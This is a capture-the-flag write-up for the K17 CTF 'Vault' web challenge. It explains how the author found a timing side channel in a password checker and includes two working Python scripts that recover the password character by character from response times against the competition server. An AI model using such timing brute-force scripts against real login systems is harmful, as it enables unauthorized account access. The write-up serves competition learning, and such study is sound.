K17 CTF | Vault

Published on: October 8, 2025

6 min read · Posted by tiantian1027_

Challenge Details

Description

Category

Web Exploitation

Difficulty

Easy

Topics

Competition

K17 CTF

Author

tiantian1027_

asdfgh

Writeup

Initial Thoughts

  • On first glance, we are greeted with a password checker
  • Typing a random password gives "Incorrect password. Try again." along with the response time

Website showing response time

  • Why did they give the response time? Maybe it is be used to get the flag?

Analysing further

At first, I tried to enter the flag prefix (K17{), hoping that it will somehow return the flag. That did not work.
After reading the challenge description, brute force is allowed, which made me think maybe we are supposed to recover the password char by char? Piecing everything together, I realised that it might be a timing attack.
So, I decided to brute force the first character and compare the timing. Since most of the response times are < 1ms I will make it print all responses that took > 1ms

Code:

import requests,time,re
for i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789": #search charset
    try:
        resp = requests.get("https://vault.secso.cc/",params={"password": i},timeout=5)
        mat = re.search(r"<p>Response time:\s*([\d.]+)\s*ms</p>",resp.text) #get the element that displays resp time
        if mat:
            resptime = float(mat.group(1))
            if resptime > 1:
                print(f"Char {i} gave {resptime}ms") #print irregular response time
                break
    except: # handle urllib3.exceptions.MaxRetryError (caused by server being overwhelmed) gracefully
        print(f"Char {i} failed")
    time.sleep(1/20)#align with rate limit

Running this gave us Char H gave 100.7ms. This tells us that the first char is almost certainly "H"

Next Steps

  • Now that we confirm it is a timing attack, we need to find out if the response time increases as the number of correct chars increase or it just remains the same.
    So we will do the same and brute force the second char to check if the response time is different.
    After running the same code but with params ?password=H+{i} and filtering by resptime >= 100, we find out that the next char is 8 with a response time of 200ms
  • So, now we know that the response time is proportionate to the number of correct chars. We can now actually start brute forcing the password.

Solution

  • We will modify the code slightly so that it will keep brute forcing until it gets the flag
  • Since the server was always very overwhelmed during the CTF, if the server returns an error, we will need to redo the retry that specific character.
  • We get the flag
    Final

Final Flag

K17{aLL_iN_go0d_t1m3}

Solution code:

import requests,time,re,sys
known = ""
target_resp_time = 100 # start from target 100ms response time
while 1:
    items_needed_for_retry = set("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
    while items_needed_for_retry: # while there is still unattempted chars for that specific pos AND the correct char is not found
        found = False
        clone = items_needed_for_retry.copy() # so we can clear the items set
        items_needed_for_retry = set()
        for i in clone:
            try:
                resp = requests.get("https://vault.secso.cc/", params={"password":known+i}, timeout=5)
                mat = re.search(r"<p>Response time:\s*([\d.]+)\s*ms</p>", resp.text) # seatch for response time
                if mat:
                    resp_time = float(mat.group(1))
                    if resp_time >= target_resp_time:
                        known+=i # append correct char to known when found
                        print(f"Found: {known}")
                        if "K17" in resp.text:
                            print(resp.text)
                            sys.exit() #exit when flag is found
                        target_resp_time+=100 #increment the target response time 
                        found = True
                        break
            except:
                if isinstance(sys.exc_info()[1], SystemExit): # if error is caused by exit(), dont catch it
                    raise
                print(f"{known+i} failed")
                items_needed_for_retry.add(i) #add to the list to be retried
            time.sleep(1/20)
        if found: break

Please login to comment


Comments

No comments yet